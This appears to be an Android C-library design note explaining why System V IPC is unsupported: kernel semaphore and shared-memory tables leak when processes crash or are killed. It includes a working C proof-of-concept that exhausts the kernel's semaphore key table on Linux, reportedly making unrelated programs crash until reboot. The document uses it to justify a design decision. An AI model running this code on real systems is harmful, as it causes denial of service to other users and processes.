1Android does not support System V IPCs, i.e. the facilities provided by the 2following standard Posix headers: 3 4 <sys/sem.h> /* SysV semaphores */ 5 <sys/shm.h> /* SysV shared memory segments */ 6 <sys/msg.h> /* SysV message queues */ 7 <sys/ipc.h> /* General IPC definitions */ 8 9The reason for this is due to the fact that, by design, they lead to global 10kernel resource leakage. 11 12For example, there is no way to automatically release a SysV semaphore 13allocated in the kernel when: 14 15- a buggy or malicious process exits 16- a non-buggy and non-malicious process crashes or is explicitely killed. 17 18Killing processes automatically to make room for new ones is an 19important part of Android's application lifecycle implementation. This means 20that, even assuming only non-buggy and non-malicious code, it is very likely 21that over time, the kernel global tables used to implement SysV IPCs will fill 22up. 23 24At that point, strange failures are likely to occur and prevent programs that 25use them to run properly until the next reboot of the system. 26 27And we can't ignore potential malicious applications. As a proof of concept 28here is a simple exploit that you can run on a standard Linux box today: 29 30--------------- cut here ------------------------ 31#include <sys/sem.h> 32#include <sys/wait.h> 33#include <unistd.h> 34#include <stdio.h> 35#include <stdlib.h> 36#include <errno.h> 37 38#define NUM_SEMAPHORES 32 39#define MAX_FAILS 10 40 41int main(void) 42{ 43 int counter = 0; 44 int fails = 0; 45 46 if (counter == IPC_PRIVATE) 47 counter++; 48 49 printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); 50 51 for (;;) { 52 int ret = fork(); 53 int status; 54 55 if (ret < 0) { 56 perror("fork:"); 57 break; 58 } 59 if (ret == 0) { 60 /* in the child */ 61 ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); 62 if (ret < 0) { 63 return errno; 64 } 65 return 0; 66 } 67 else { 68 /* in the parent */ 69 ret = wait(&status); 70 if (ret < 0) { 71 perror("waitpid:"); 72 break; 73 } 74 if (status != 0) { 75 status = WEXITSTATUS(status); 76 fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, 77 counter, status); 78 if (++fails >= MAX_FAILS) 79 break; 80 } 81 } 82 83 counter++; 84 if ((counter % 1000) == 0) { 85 printf("%d\n", counter); 86 } 87 if (counter == IPC_PRIVATE) 88 counter++; 89 } 90 return 0; 91} 92--------------- cut here ------------------------ 93 94If you run it on a typical Linux distribution today, you'll discover that it 95will quickly fill up the kernel's table of unique key_t values, and that 96strange things will happen in some parts of the system, but not all. 97 98(You can use the "ipcs -u" command to get a summary describing the kernel 99 tables and their allocations) 100 101For example, in our experience, anything program launched after that that 102calls strerror() will simply crash. The USB sub-system starts spoutting weird 103errors to the system console, etc... 104